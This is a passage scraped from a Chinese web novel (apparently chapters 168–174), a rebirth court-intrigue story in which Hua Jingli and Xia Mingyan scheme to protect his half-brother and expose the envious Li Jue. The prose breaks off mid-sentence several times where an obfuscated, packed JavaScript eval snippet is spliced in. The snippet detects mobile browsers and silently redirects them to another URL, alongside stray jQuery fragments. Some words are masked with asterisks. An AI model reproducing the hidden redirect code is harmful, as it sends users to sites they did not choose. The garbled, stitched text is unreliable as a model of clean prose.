的情面上帮了这个忙的。除了写信,别的真的什么都没做,算不得什么大的助力。 而华靖和被掀出来的这一层画师身份,的确能引起一时惊艳,可是他毕竟没有什么举世流传的名作,往日的作品不过是小打小闹而已。 甚至华靖和虽然有天分,可是他的经历不够丰富,局限于内宅和书院,还没有看过广阔的天地,也没有经历过人间的悲苦和云泥之别的境遇。 导致他的画里多少带着些矫情的悲风伤秋,这样的画儿能招一招妇人家的眼,却难有大家气候。 他的身份被揭穿之后,若说这些画儿能给他增加一些名气,让人们看到他这个人,看到他的天赋,甚至有名师愿意收他为徒,这都是可能的,可要说入了御青书院的终选,这绝无可能。 若是华靖和只是寻常人家或是小官吏家的子弟,他被放入终选,多半就是个陪榜的,上去露个脸,被比下去也就算了。 可他偏偏是华家这一代除了华靖离以外唯一的男丁,性质就不一样了,这是打算把他捧到人人都能看得见的高台上让他出丑,让华家一起跟着出丑啊。 华靖离就算好了,世人也不会相信他一下子就全好了,休养的这几年里谁知道还会不会有个三长两短的。 华靖和在这种时候在出了事儿,或者被当中证明他连个绣花枕头都不如,那就是说华家无人了啊! “你是说有人替他排除了前面的障碍,助他进了最终的擢选?这当中……有什么变化?” 夏明嫣前世这个时候根本就没怎么关注这场擢选,对华靖和这个人甚至只是听过一个名字,其余的什么都不知道。 这一世她跟华靖离之前都没有干涉过卜小娘的行动,按理说她上一世也该替华靖和运作过,上一世一点水花都没有,这一世怎么就入了中选了? “想知道?不过……什么变化?跟什么比……变了呢?”华靖离学着她磕磕巴巴的样子问道。 第169章主动树一块靶子 夏明嫣觉得自己两辈子都没这么不注重仪态过,她明晃晃地白了华靖离一眼: “跟哪儿比有变化?我看就是跟你比有变化,你怎么当人家兄长的,什么都不知道,差点错过了这么好的一个大画师苗子。” “这是二弟好了,就不说什么了,他要不好了,在外面干出些什么了,你就算不为他想,是不是也该为你自己和父亲、母亲想想?” 都懒得说他,前世他一个人在外面建功立业,家里还真就不管了。 偏偏华叶峰和董氏对于侯门和元京高门来说都是半路出家,他们不懂读书人的那些事,对华靖和也没有更高的要求,日子久了见他还过得去,就索性不管了。 到了最后,华靖和这个人对家族无益,自己也荒废了一生。华家败落之后,有人为了从他身上得到不利于华家和华靖离的话,对他各种逼迫、控制,落得了一个疯癫度日的下场。 她忍不住又说了他几句,“一屋不扫何以扫天下,自己家里的事都弄不清楚,别怪外人算计你。你关心你的兄弟,就得让人知道了。” “先不说二弟心里暖不暖,你让别人知道了,别人也能有个忌惮,不敢轻易对他们下手。对着自己家人无甚表情,一脸地公事公办,对着个外人心里明明有想法,还一脸亲厚,谁还能觉得你们交情不好了?” “这样的人要是害了你,谁能想到他身上去?说不准还有人指望着他给你伸张正义呢。” 她说的就是李玦,这些日子以来,华靖离嘀嘀咕咕地没少说他对李玦的怀疑,可是为了大局,出于种种的原因,他都没有与李玦**,以至于到了最后,在世人眼里,李玦依旧是他的义弟、好友。 就是那时候的夏明嫣都是将信将疑的,因为每一次他怀疑李玦要陷害华靖离的时候,这份怀疑又会被华靖离的表现给按下去。 不是说不让他为了守疆拓土殚精竭虑,只是他的家人和身边的人就活该么?他在不断向前的时候,能不能也回头看看他身后的人,哪怕交待几句都好。 但其实从华靖离的角度来看,这件事并没有那么容易办到。 君子之交即便要断,也没有那般刚烈,特别是李玦是个外表文弱的人,华靖离要是跟一个军中之人割袍断义,大可以当众打上一场,让世人皆知。 可是对李玦,即便他们私底下**了,在外人看来他们跟从前也不会有太大的区别。 况且李玦是一个圆滑的人,凡事抓不住明显的把柄,他冒然与李玦**,被世人诟病的反而是他。 那时候华家军势头正盛,正是朝野忌惮的时候,他若是被抓住了把柄,还把李玦彻底逼到了对立面上,反而对他更不利。 他一直在寻找一个合适的节点与李玦**,可最终天时地利人和都没有站在他这一边。 **这一世换一种更直接的方式处理对不对,但如果上一世那般让很多人被他所累,那显然是不对的。他不能让这些人和她因为他的优柔寡断再受累,他要做出改变…… 华靖离认真地端详了她好一会儿,忽然抓了她的手在大掌里握了握: “行,不装了,都说行伍之人快意恩仇、直来直去,我与他早有嫌隙,那便说清楚,哪怕当众割袍断义。夫人让我怎么做,就怎么做。” “别气了,你要是不想跟我说清楚,那我们以后再说,气坏了身子,岂不是让别人看着快活?” “谁要跟你说清楚,要说也该你先说。”夏明嫣明知道这件事他们两个都有问题,可就是压不住火气。 华靖离赶忙哄她,把准备好的一份单子递给她:“先说二弟的事,这可不能耽误了,这上面的事儿都是靖和曾经做过的欠妥当的事儿,有大有小,能够拿出来做文章的,郭林和我都筛选过了。” “离终选还有一个月,这些事儿不可能都被拎出来,但具体这背后的有心人会用哪一件,或是他们会不会自己做出些什么来陷害靖和,都未可知。” “依我看,倒不如我们想法子因势利导,自己拎出一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15301815|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 件事来做文章,让他们以这件事为契机做大,反而更容易些。” 目标太多,反而不好防范。对方到现在都没有大的动作,恐怕也是在寻找合适的时机。 这种时候他们自己让人弄出一个目标来,让对方觉得有机可乘,正好可以抓住这个时机,反而方便确定目标。 夏明嫣轻轻地“哦”了一声:“引蛇出洞?你还没说,二弟入了终选,究竟是谁在推波助澜?” “哦,这个……卜小娘找的这个人关系在礼部,人家只想平安致仕,再过两年就举家还乡了。这人早年的确是太后旧臣,可是再是旧臣,这人情到了太后身边旧日的一个女官身上,又能有多少?” “人家本就不想管这件事,这些年这家人过得不大如意,家里的夫人跟端侯府的何夫人私下里就有了来往。前……我是说从前,卜小娘求过去的时候人家想着与其推荐靖和去选,不如推了李玦去。” “尽管那时候李玦无意去选,他们家也不好推了靖和去,就借口老家那边要修宅子,没搭理这茬儿。可是这回不一样了,我特意让人打听过,这家的大人在写举荐信之前,他家的夫人又特意去了一趟端侯府。” 华靖离击了一下掌,接下来的话不用说,也能明白了。 两家私交要好,李玦在众人眼里又是读书科举的好苗子,样貌、气质、仪态又符合御青书院选人的标准,人家要推举,也肯定是推举故友家的孩子。 一个昔日的女官,又不是大女官、宫正、尚宫之类的,加上人走茶凉,哪有那么大的面子? 就算上一世李玦压根儿就没参选,人家也犯不着推举华靖和。尤其是华家要是想支持华靖和参选,自己还不能找人出了这份力了? 华家没动,由着一个妾室出来找人推举一个庶子,摆明了就是华家做得了主的人都不支持,那么他们家又何必担这份干系? 就算当年谁都不举荐,也不会推了华靖和上去,到头来华家不承这份人情,还可能落下埋怨。 第170章选更实在的 所以上一世卜小娘也找了这门关系,可是人家压根儿没搭理她,华靖和不管有没有一开始有没有参选,最终的结果都是毫无水花儿。 这一世人家正正经经地写了举荐信,华靖离又这么说,那么就是几乎可以肯定是何夫人授意的了。 何夫人这么做或许是想让华靖离知道后卖端侯府一个人情,给李玦在北疆谋一个差事,也或许在卖人情的同时,也想着万一华靖和挡了李玦的路了,她再暗暗出手也不迟。 夏明嫣点了点头:“楚家就没做什么?他们平时不显山不露水的,可他们的话有分量,随便说点什么,都会让人很不好办。” “夫人又说对了,这件事的确跟楚家两位小大人有关,不巧楚家跟华家早年有些嫌隙。何夫人做这一切还可以说她想为自己的儿子谋个位子,若是这中间不好了,再对靖和做些什么。” “这两位楚大人可是从一开始就别有用心的,郭林已经打听到,他们散了人出去,正准备着拿靖和做对比,把李玦的名声再抬高一些。不出所料的话,之后还会翻出靖和一些‘不可告人’的秘密,这样李玦的名声就更好了。” 李玦是在门庭凋敝、久未袭爵的压力下长大的苦孩子,遭人忌讳的情况下,还长成了这般风光霁月的模样。 夏家、楚家更是不畏人言,在端侯府这般光景之下,依然愿意将女儿、外孙女下嫁……这样的李玦,身上是不是还有别的令人尊敬的品质呢? 反观华靖和,虽然是庶子,却是被华家好生教养长大的,要不然私下里也不能成为小有名气的画师。 从前不见华靖和如何用心读书、举业,如今却能一下子入了御青书院的终选,可见背后有华家的大力运作……这样的人本该前途大好,没想到竟然会做出这种下作的事儿! 这个时候出了有府衙为背景的邸报,民间也出现了一些小报,还有写话本子、说书的,光是想想都知道到时候得有多热闹,这些人一定会把华靖和跟华家一起放在火上烤! 夏明嫣扫了几眼单子上的那些事儿,都是排了序的,她恢复了一个贤妻该有的样子,像是不跟他计较之前那码子事儿了,挑起兰花指在单子上点了点道: “夫君以为选哪一件好?要听起来热闹,但雷声大雨点小的,之后也不过是给二弟添了桩韵事的最好。不妨我们把选哪一件写下来,看看谁的主意好。” 马车宽敞,二人之间有一张小桌,上面放着茶盏。二人分别用手指蘸了茶水在桌上写下序号,然后将遮挡的手移开。 桌上赫然有两个用茶水写就的“五”字,他们对视之间都忍不住笑了。 华靖离先开口道:“的确是一桩韵事,打算怎么做?先去说服这位姑娘,以绝后患?我这就让郭林去。” “诶,别!” 夏明嫣叫住他,“先就说服了‘苦主’,之后的戏就太假了,既然他们还没选定目标,我们又帮他们选了,不如就让我们先把‘苦主’的火儿挑起来,等事情闹大了,再去把真相告诉对方。” 这样才有意思,还能把事情推到楚家头上,说是楚家挑唆的,而且这件事跟李玦还真有关系。 华靖离想问万一玩儿脱了怎么办?闹大了之后再去说服苦主,可就未必能控制了。 可是想想既然她想这样,不妨就这样吧。左右有他兜着,他这辈子的好光阴都是她向老天爷要回来的,趁着他还在元京,她出了差错,有他帮着善后就是了。 马车在街上踢踢踏踏地缓慢行进着,轻微的颠簸中幕帘与马车的间隙中透进抹抹阳光,这是**重伤之后华靖离第一次出府,也是第一次感受到属于市井的繁华与喧嚣。 不管外面的人在议论些什么,说的是好是坏,这种感觉都实在太好了。 原以为重生的那一刻即是新生,现在的华靖离觉得此刻才是真正的新生,而这一切都是坐在身边的这个人带给她的。 是她不顾安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15301816|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 危,不辞辛苦,不顾她的一世一名为他向老天爷要来的,自此之后他们的命运真正绑在了一起。 华靖离和夏明嫣今日之所以一起出来,不仅是想透透气,华靖离之前给夏明嫣的铺子、药材行都已经运作了起来,一起出来也是带她来看看。 如今这些东西虽未正式挂出蛊医的名牌,却也已经都变成了医馆和药铺,里面有原本的郎中坐诊,都是华家用惯了的人。 华靖离之后进宫面圣时就会提出为蛊医正名之事,若是圣上那边肯松口,夏明嫣就会给远在卢阳的杨家族人去信,派些医者过来。 即便杨舅父莫名远游不知所踪,杨家留在老家的年轻医者中也有得用的,跟夏明嫣一起撑起这几间医馆、药铺不成问题。 而之前在赏花宴上夏明嫣提起的让各家各户将下人们的吃用和浆洗包出去好腾出地方来给护城河岸上的官道让路一事也已经如火如荼地开展起来。 这些个仆从集中居住的地方本就在每座府邸的后面,改建、休整起来并不会影响前院主子们的生活,这些个妇人、姑娘的,能来参加赏花宴的纵使没有掌家,也是能摸到掌家的边儿的。 回去跟家里一商量,说是这腾出来的地方砌了墙能多出几间铺子,既配合了府衙对护城河的整治,又能多出一份收益,还能降低失火和脏污之物清理不及时导致的种种问题,家里哪有不答应的? 而且这护城河修整出来究竟如何,谁都不知道,更没人都估算出这里的铺子能多少营收,家里的主母、长辈索性就说了,既然这地方是你带人收拾出来的,这铺子的收入就你当零花吧。 如此以来,即便这里的收益好了,至少头几年的收入都会落到当事儿的人手里,这些人都得了实打实的好处,哪个心里不感谢夏明嫣的? 在这些人心里,无论是夏明嫣还是华家的形象就都开始转变了,比起攀附楚家和夏明月之流而得不到好处,她们宁愿选择些更实在的。 第171章登门探伤 这些人里好些原本就跟楚氏和楚家的关系不错,只是人家是相府门庭,没看见女婿夏庸还上杆子巴结未果呢么,她们和她们家里的人又能得到多少实际的好处? 大部分人只能说巴结之后不会受到刻意的伤害罢了,哪个不得在他们面前做小伏低的? 现在倒好了,夏明嫣给出的是实际的好处,各家都得了收益,而且这是个长期的事儿,还因着他们配合治理护城河有功,之后府衙还会上门宣读嘉奖文书,这可是长脸的事儿。 要说平时这些个人里,即便是当家主母,再是贤惠、会持家,也不过是得府中上下和外面这些个知情的百姓几句称赞,这回可不得了了,她们是给自家夫君在外头长脸了。 于是,这些个人尽管面上还对楚氏和楚家依旧,可是心里已经开始亲近夏明嫣和华家了。 华家底子厚,如今华靖离身子不好,北疆的华家军暂时交给了华靖离的一位堂叔统领,而北疆军务则有朝中一位重臣担当。 华家嫡支为了维持相对平稳的局面,通过刚进门的儿媳妇释放善意,他们顺水推舟接下这些善意带来的好处,何乐而不为? 夏明嫣和华靖离就这样坐在里在元京城里跑了大半圈,听了许多的议论,终于在城内一些不起眼儿的茶肆、食肆附近听到有人在议论华靖和的是非。 其中议论最多的就是他跟人斗酒抢画,把人给伤了,还有人说那人先是瘸了一条腿,先是治了几年,之后非但没好,还烂了腿,甚至还瘫痪在床了。 夏明嫣皱眉:“有这么严重么?就二弟那点儿功夫,连我娘家的阿弟都打不过,不会把人伤成这样才对。” “不是他……这人早年间跟一个楼子里姑娘有了私情,被他大舅兄带人打瘸了腿。后面伤口溃烂是另一回事了,瘫痪应该是别的病症。” 华靖离微微一笑,“这是有人要动起来了,那件事你要安排的话,就尽早吧。” 夏明嫣笑了笑,没说什么,回去就叫了秋果去乔府送了信,请了乔依心一起帮忙,去找那户姓吕的人家。 找到了之后先不用上门,只让人在周围盯着,并且刻意让那些别有用心的人知道自家这边已经盯上了就是了。 回去之后的第二日,府里就收到了端侯府的拜帖,说是李玦和夏明月想登门探伤,看看华靖离怎么样了。 这一回华靖离没有推拒,让人接了帖子,请二人次日过府,还叫了府里的厨子在他们院儿里摆上两桌。 李玦来时带了许多的药材、补品,对之前没能来探望华靖离十分愧疚: “嫂嫂,华兄如今可好?之前在夏家的回门礼上,岳父大人找我说话,都没来得及问嫂嫂几句。” “之后又要忙着御青书院擢选的事儿,好不容易歇下来了,又听说钩翊侯府关门闭户,华兄要养伤,我不便过来。这么一拖,就拖到了今日。” 夏明嫣亲自到门口迎了他们夫妇,带着他们往她和华靖离住的院子引,华靖离前日已经从静心居搬了回来。 夏明嫣听了也不揭穿他,只客气地道:“谁家没点儿难办的事儿?何况我们侯爷的确需要静养,要是你们那时候来了,也见不到他。” “外面的事儿我都跟侯爷说了,他听了之后很是欣慰,说是妹夫能够上进,自己寻了御青书院这条出路,很好,总比去北疆拼命强。” “我就问他了,北疆如今已经大定,哪里就那么危险了?侯爷却说我傻,要是真大定了,他又是如何**的呢?唉,我是真不懂外面的事儿,以后他说什么我便听什么就是了。” 夏明嫣既是李玦的姨姐,又算是他的嫂嫂,现在是在华家,自然要从华靖离这边论,李玦便是要叫她一声嫂嫂的。 未免他之后想从她这儿探听点什么,她索性就端起了做人嫂子的架势,再推说自己什么都不懂,至少能挡住李玦一半的好奇。 见夏明嫣老气横秋的,李玦多少有点讪讪的:
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15301817|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “嫂嫂这是过谦了,听明月说,嫂嫂在赏花宴上的提议都很好、很有见识,现在元京中的闺秀、夫人们都争相效仿呢。” “哦?是这样么?二妹妹,你真的觉得我这样做很好、很有见识,这可是太难得了。”夏明嫣停下脚步,看向李玦身后的夏明月。 此时的夏明月已经不是几日前的夏明月了,她学会了装样子和假恭维,她虽然不情愿,可还是耐着性子道: “我可不觉得难得,从前长姐在卢阳,咱们姐妹间从小到大真正在一处的时间不足一年,从前又都还小,彼此不了解也是有的。” “长姐之前的主意的确很好,别说那些个年长的夫人各个满意,受你恩惠的那两个……哦,我是说陈姑娘和我们府上的白姑娘都对你赞不绝口呢。” “长姐就原谅我那些不懂事的举动吧,我夫君这些日子也常教训我,说我不如长姐,要好好地跟长姐学呢。” 李玦笑着看了夏明月一眼,显然很满意她今日的表现:“明月从前不懂事,以后一定不会了。嫂嫂要不就原谅了她吧,我在这儿也替她赔罪了。” “哪儿敢,哪儿敢……不过既然如此,话说回来了,我记得端侯府也有一段儿跟护城河相邻,你们也跟他们一样把地方让出来了吗?” 夏明嫣像是一点儿都不知道似的,其实她之前就打听过了,端侯府不知道什么原因没有缩减下人房的占地,也没有配合城府衙门整改, “要是你们把这些下人的饭食和浆洗之事包出去,我可以云翠居的掌事儿说一声,少算你们些银子。” “你们大概也知道了,这几日给别的府邸提供的饭食和浆洗,都比他们从前自己做的要好,还省了不少银子下来。别说做主子的满意了,就是那些个下人也没听说谁不满意了要生事的。” 各个府邸下人众多,尤其是王府,有的甚至有两三百号下人,光是给这些人做饭、浆洗,有的就沿河建了四五个院落。 第172章属于小人的阴暗 现在不仅饭食、浆洗、缝补、裁衣都不用在府里做了,就是一些大件的家伙什儿也不用堆在后院儿里了,如果有需要,可以随时从云翠居里租或是借。 而且原本要在府里自己置办这些,不仅需要更多的地方,花费上也不小。 这么多人吃的粮食和菜蔬,加起来比主子们要用的还要多,一次买回来便是两三天的,堆放着会不会有坏了的?中间采买过手的人有没有克扣和私留? 还有这饭食和浆洗、缝补出来的东西效果怎么样?要是自家做的,下人服侍下人,没想拜把子都是一样的人,谁都不好说谁一个不好,不好了也还的凑活着过。 因此同在一个府邸,同样都是做仆从的,掌事儿的和一等侍女、小厮过得日子跟中下等的仆从之间的差距还是很大的。 现在不一样了,全部包给了外面做,不满意了就说,谁也不敢赖了夏明嫣的银钱,可谁吃了亏那定是要说的。 夏明嫣这边也尤其注意改进,对他们的意见从善如流,前一日提的,不出三日一定让对方看到改进。 如此这般各府的下人们日子过得反而好起来了,尤其是那些地位不太高、在府中处于中下等的,日子过得比从前好多了。 而且无论是吃食还是浆洗、缝补,都集中在一块儿做,采买自然也是一起的,这么多户人家聚在一起,云翠居可以集中去跟人家谈价钱,拿到的价格不能是最低的也是相当低了,他们也不多赚,给出的价格比从前各府自己做还要低上许多。 如此以来,主家省了开销、得了脸面,下人们过日子得了实惠,上上下下谁不说一个好字? 如此这般,偏偏端侯府一点动静都没有,这几天府衙那边也着急上火呢。 就差那么几家了,这里面就属端侯府地方大,他们要是不腾地方,让让道儿,护城河边上的这条路还真不好修呢。 偏偏钩翊侯府闭门谢客这么多日,李玦还真以为夏明嫣不知道,当下被臊得耳朵都红了: “嫂嫂做事满元京也没人能挑出个不好的来,我们府上……也快了,最近正商量此事呢,不过牵涉到府中风水,母亲那儿有些犹豫,暂且耽误了。” 夏明月听李玦这么说,眼中露出些许不屑,显然不止是风水问题,定然是何夫人又做出什么事儿来了。 不过夏明月向来不会当着外人的面拆李玦的台,到底没说什么,跟在李玦身后当了一回小媳妇。 “这样啊,那是该考虑清楚。好了,到了,侯爷伤势未愈,梳洗花的工夫就多了些,不如妹夫先进去跟他说话,一会儿我们再一同用饭,可好?” 进了正院儿,在院子里夏明嫣就把他们拦住了,只让李玦一人进去,就是要把夏明月留在外面。 李玦倒是没什么,他还很是高兴,先进去即便让他服侍华靖离熟悉他都愿意,刚好能让他们单独说说话,也好探探华靖离的虚实。 李玦对华靖离不是没有过兄弟情义的,可是华靖离的步子太快,当他从泥潭中挣脱出来,而他自己却还在越陷越深的时候,他实在没有办法在这般巨大的落差下,还把对方当作兄弟。 尤其华靖离之后就常在军中,而他一直留在元京,两个人有交集的际遇越来越少,他们之间也难如原先那般交心。 其实无论是发小还是早年间的友人,发生这样的事都是再常见不过的了,所谓的一生的兄弟、挚友本就不多见,长大了,就分开了,实属人之常情,情分淡了也就淡了。 可是李玦却觉得他亏了,从前在华靖离身上投入的那些惺惺相惜、共患难、共进退的情感还没有得到回报,要是就这么算了,他岂不是亏了? 他一定要把在华靖离身上投入过的拿回来,至少不能亏了,尤其在这关键时候,他得让华靖离助他上青云才行! 李玦被葱白引着进了屋里,短短一段路,他脑子里不断地浮现出华靖离各种病弱的样子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15301818|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尽管他这些日子以来越来越发现夏明月很多想法荒诞而疯狂,但是他很认同她说的那些华靖离伤重难愈的话。 受了那么重的伤,太医都束手无策,即便后来找来了神医,日子也拖得太久了,再有什么样的神仙手段也只是聊胜于无罢了。 他想像中的华靖离是这样的,虽然保住了性命,但浑身上下都是难以痊愈的旧伤,随便挪动一下,稍有不留心的地方就疼痛入骨。 这样的华靖离即便将来还要为了华家军重返疆场,也是一个坐上马背都要强忍伤病、强颜欢笑的人,以后他在沙场上每走一步,都要忍受利刃穿身之痛! 在这样的痛苦和永无止境的绝望当中,即便华靖离真是一位铁将,也定会将英骨熬成腐骨! 这样的华靖离在他面前会是怎样的?尤其是现在才刚刚保住命,应该很狼狈吧,尤其是还没有梳洗好的时候……他一定可以看到一个狼狈不堪的华靖离! 李玦自己是个文弱的人,即便他没有打过仗,也没有受过实际上的伤害,他也经常“伤痕累累”、狼狈不堪,他从骨子里嫉恨那些可以比他成功还比他坚强的人。 凭什么他有那么多的脆弱,华靖离就可以功勋卓著的同时坚强得令世人敬佩? 李玦满怀希望地向正屋里走去,他即使刻意压制着心底里的兴奋,整个人都有些抑制不住地一抖一抖的。 “世子爷,我们侯爷在里面,你看你自己进去?小的要去给侯爷煎药,也想着你们大概有体己话要说。” 葱白对李玦客客气气的,他从前就不大看得上这个李玦,现在眼看着夏明嫣进门之后,华靖离对李玦的态度有了转变,他正乐呵着,哪里耐烦伺候他。 说白了,华靖离跟葱白一起长大,可他们骨子里是不一样的人,导致他们看人的方式也不一样。 华靖离会同情李玦这样的人,他葱白可不会,而且他还在李玦身上嗅到了一种阴沟里的老鼠的味道。 第173章盼着他受折磨 葱白和华靖离一样都是存困境里走过来的人,只是葱白是从更穷困、更可怕的地方走上来的。 别看葱白平日里没心没肺的,可那是对着华靖离和郭林的时候,他要真是个只会笑呵呵的大傻子,也走不到华靖离身边。 从他爬上来的地方出来的同道中人有两种,一种百折不挠、百炼成钢,还有一种即便他们日后爬上去了,身居高位,他们的心性已经坏了,就好比阴沟里的老鼠,见不得别人比他们好。 这种人尤其见不得在他们看来原本跟他们一样的人,如今过得比他们好,而且外人还都说这人好! 不巧的是华靖离就是李玦眼里这种原本跟他一样,后来过得比他好太多的人……而李玦也一直是趴在阴沟里仰视华靖离的。 葱白从前不是没提醒过华靖离,可是华靖离不信,还说李玦在那样的环境下能撑到现在很不容易了,老端侯造的孽不该应在李玦身上。 后来,华靖离大概自己也觉出什么味儿来了,可是他又不愿意跟李玦计较,说文武不同道,左右没有多大的干系,何必撕破脸? 老端侯和老钩翊侯也就是华靖离的祖父是有过交情的,只是后来一个在南一个在北,以至于老端侯犯下那等事儿的时候老钩翊侯跟他连面都没见上,更别提有规劝他的机会了,导致老钩翊侯落下了遗憾,这也是华靖离特别包容李玦的原因之一。 可是就葱白来看,对李玦这种人就该痛打阴沟鼠才对,说不定还能把人给打醒了,从此走上一条不算歪的路! 李玦在葱白的脸上看出了一种皮笑肉不笑的感觉,可是这时候他顾不上计较这些。 在他看来葱白会如此失礼,是因为华靖离的伤恢复情况堪忧,葱白作为一个忠仆,这时候看不得任何一个原本跟他主子一样的人好。 “有劳葱白小哥了。” 李玦敷衍地说了句,脚步越过葱白身边就往里面走去,他想着将要看到一个苍白、无力、悲凉的华靖离,越想脚步越有力,整个人都雀跃着走了进去, “华兄,小弟来瞧你了。之前被家中琐事绊住,后来你又闭门不出,愚弟这心就一直悬着。如今终于能见到了,华兄,你怎么样了?” “听嫂夫人说,华兄还未梳洗,就让我来吧,也算是尽了一份心。要是觉得府里养伤不够情景,我家还有一处别院,可以接你过去将养……” 屋子里的幕帘还没有拉开,显然里面的人还在梳洗,李玦没听见动静,就以为华靖离好强不愿旁人服侍,自己在里面呢。 他一进去就自顾自地说着,站在绣在流云青山的帘子外,只要华靖离应一声他就进去。 谁知这时帘子从里面被拉开了,第一个出来的人却不是华靖离,而是宫里派来长住钩翊侯府的一位太医。 老太医尴尬得看了李玦几眼,行了个礼道:“给世子请安,华侯他……已无甚大碍,在府中静养即可,别院就不用去了。” “况且如果老夫没记错的话,端侯府的别院在南郊,年久失修,阴冷潮湿,着实不适宜养伤。” 老太医看不过眼地告退了,说是他要宫里复命了,今日就跟另一个太医一起收拾东西离府。 李玦瞠目结舌地看着老太医离去的背影,他心里还有着一丝侥幸,以为老太医说的是场面上的话,一定是华靖离许了他好处,他才这样说的。 因为只有华靖离好了,圣上才没有借口将华家军收归兵部,而太医治好了他,才能保住自己的地位、得到赏赐。 李玦不死心地顺着刚才太医出来的方向看着,却见华靖离已然整理好了伤处的衣衫,好整以暇地走了出来。 华靖离看起来只是没有往日硬朗,脸色略微有些发白,身形也瘦削了一些,动作仔细看稍微有一点迟缓,这还是与他从前身形矫健时比较的。 若是跟寻常人比,根本看不出多大区别。 李玦的嘴张得更大了,这就是所谓的险些重伤不治?就这样的伤……还值得两位太医长住府中,还满大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15301819|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恒的延请名医? 李玦能想到的就是华靖离原本就没伤那么重,伤重是故意编造、宣扬出去的,为的就是故布疑阵。 还好他之前没有跳出去,不然就中了他们的圈套了……还有,夏明月的消息也太不准确了,还什么毁了容貌? 华靖离脸上只是有一块半个巴掌大的新皮略微还带着点粉色罢了,不仔细看还以为是光影落在了脸上呢。 李玦压抑着心底里被愚弄后的愤怒,终于找回了自己的声音:“华兄大好了?这……这是哪方神医,竟有此奇术,竟能让华兄在月余光景里恢复得如此康健。” “华兄受上天庇护,受圣人恩泽,能够康复,我……就是没有想到,还做了准备,要是嫂夫人照顾不过来,我就到府上来亲自照料。” 华靖离上一世时觉得他跟李玦至少能做表面兄弟,场面上至少是能过得去的。 就算是这一世,他知道李玦迟早是要害他的,他也想过毕竟这一世李玦还没有开始害他,或许还能改变,或是就算他要对付这个人,也要保持一点表面的体面。 毕竟在世人眼里他们是要好的义兄弟,两家祖上也有交情,何必闹得那么难看。 这会儿华靖离看着李玦控制不住抽动的嘴角,还有什么不明白的,这人就没盼着他好过,简直恨不得他伤得更重,最好只剩一口气。 对,他**都不行,**就一了百了了,有什么意思?只有半死不活的,看着才有意思,才能取乐。 初次一个交情好的人重伤之后该是什么反应,上一世华靖离醒来得晚,无缘得见,这一世他可看得太清楚了。 亲人的心急如焚、六神无主,心腹的痛心后怕、恨不得以身相替,就是夏明嫣这个上辈子跟别人做了半辈子夫妻的,最初也是以一个医者的审慎、郑重面对他的。 李玦这副样子算什么?就是他的死敌,也最多只是幸灾乐祸一阵子然后想给他个痛快,李玦这是巴不得看到他被伤病折磨一辈子啊。 第174章反过来忽悠他 像他们这些朝堂上的人,很难说谁就是个纯然的好人,华靖离也不拿这个标准去衡量别人。 可是像李玦这样的还是太少见了,尤其他们两个之间这时候还没有绝对的利害关系,他现在都这样了,将来他会那般害他,一点都不奇怪。 对一个人的信任可能产生于一瞬间,同样的,也能崩塌于一瞬间。现在让华靖离看李玦,真是怎么看怎么讨人嫌。 只是让他直接掀桌而起地割袍断义,他才不会,他可没打算就这么放过李玦。 于是,华靖离缓了口气,仿佛历尽了人间沧桑一样,还刻意发出一连串的咳嗽声: “玦弟,哪儿用得着劳烦你。我那静心居就是养伤的,在那儿都习惯了,底下的人也照料习惯了,换了地方和人,反而不适应。” 